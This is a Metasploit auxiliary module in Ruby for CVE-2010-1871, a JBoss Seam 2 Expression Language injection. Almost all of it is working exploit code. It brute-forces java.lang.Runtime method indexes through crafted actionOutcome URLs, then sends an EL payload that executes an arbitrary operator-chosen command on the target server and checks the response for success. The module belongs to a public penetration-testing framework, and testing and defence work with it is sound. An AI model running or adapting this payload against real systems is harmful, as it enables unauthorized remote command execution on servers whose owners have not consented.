1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8

9
  def initialize(info = {})
10
    super(
11
      update_info(
12
        info,
13
        'Name' => 'JBoss Seam 2 Remote Command Execution',
14
        'Description' => %q{
15
          JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform
16
          4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression
17
          Language (EL) expressions, which allows remote attackers to execute arbitrary code
18
          via a crafted URL. This modules also has been tested successfully against IBM
19
          WebSphere 6.1 running on iSeries.
20

21
          NOTE: this is only a vulnerability when the Java Security Manager is not properly
22
          configured.
23
        },
24
        'Author' => [
25
          'guerrino di massa', # Metasploit module
26
          'Cristiano Maruti <cmaruti[at]gmail.com>' # Support for IBM Websphere 6.1
27
        ],
28
        'License' => MSF_LICENSE,
29
        'References' => [
30
          ['CVE', '2010-1871'],
31
          ['OSVDB', '66881']
32
        ],
33
        'DisclosureDate' => '2010-07-19',
34
        'Notes' => {
35
          'Stability' => [CRASH_SAFE],
36
          'SideEffects' => [IOC_IN_LOGS],
37
          'Reliability' => []
38
        }
39
      )
40
    )
41

42
    register_options(
43
      [
44
        Opt::RPORT(8080),
45
        OptString.new('TARGETURI', [ true, 'Target URI', '/seam-booking/home.seam']),
46
        OptString.new('CMD', [ true, 'The command to execute.'])
47
      ]
48
    )
49
  end
50

51
  def run
52
    uri = normalize_uri(target_uri.to_s)
53
    cmd_enc = ''
54
    cmd_enc << Rex::Text.uri_encode(datastore['CMD'])
55

56
    flag_found_one = 255
57
    flag_found_two = 255
58

59
    uri_part_1 = "?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
60
    uri_part_2 = "].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
61
    uri_part_3 = "].invoke(null),'"
62

63
    25.times do |index|
64
      req = uri + uri_part_1 + index.to_s + ']}'
65

66
      res = send_request_cgi(
67
        {
68
          'uri' => req,
69
          'method' => 'GET'
70
        }, 20
71
      )
72

73
      if res && res.headers['Location'] =~ /java.lang.Runtime.exec%28java.lang.String%29/
74
        flag_found_one = index
75
        print_status('Found right index at [' + index.to_s + '] - exec')
76
      elsif res && res.headers['Location'] =~ /java.lang.Runtime\+java.lang.Runtime.getRuntime/
77
        print_status('Found right index at [' + index.to_s + '] - getRuntime')
78
        flag_found_two = index
79
      else
80
        print_status("Index [#{index}]")
81
      end
82
    end
83

84
    if flag_found_one != 255 && flag_found_two != 255
85
      print_status('Target appears VULNERABLE!')
86
      print_status('Sending remote command:' + datastore['CMD'])
87

88
      req = uri + uri_part_1 + flag_found_one.to_s + uri_part_2 + flag_found_two.to_s + uri_part_3 + cmd_enc + "')}"
89

90
      res = send_request_cgi(
91
        {
92
          'uri' => req,
93
          'method' => 'GET'
94
        }, 20
95
      )
96

97
      if res && res.headers['Location'] =~ /pwned=java.lang.UNIXProcess/
98
        print_good('Exploited successfully')
99
      else
100
        print_error('Exploit failed')
101
      end
102
    else
103
      print_error('Target appears not vulnerable!')
104
    end
105
  end
106
end
107

108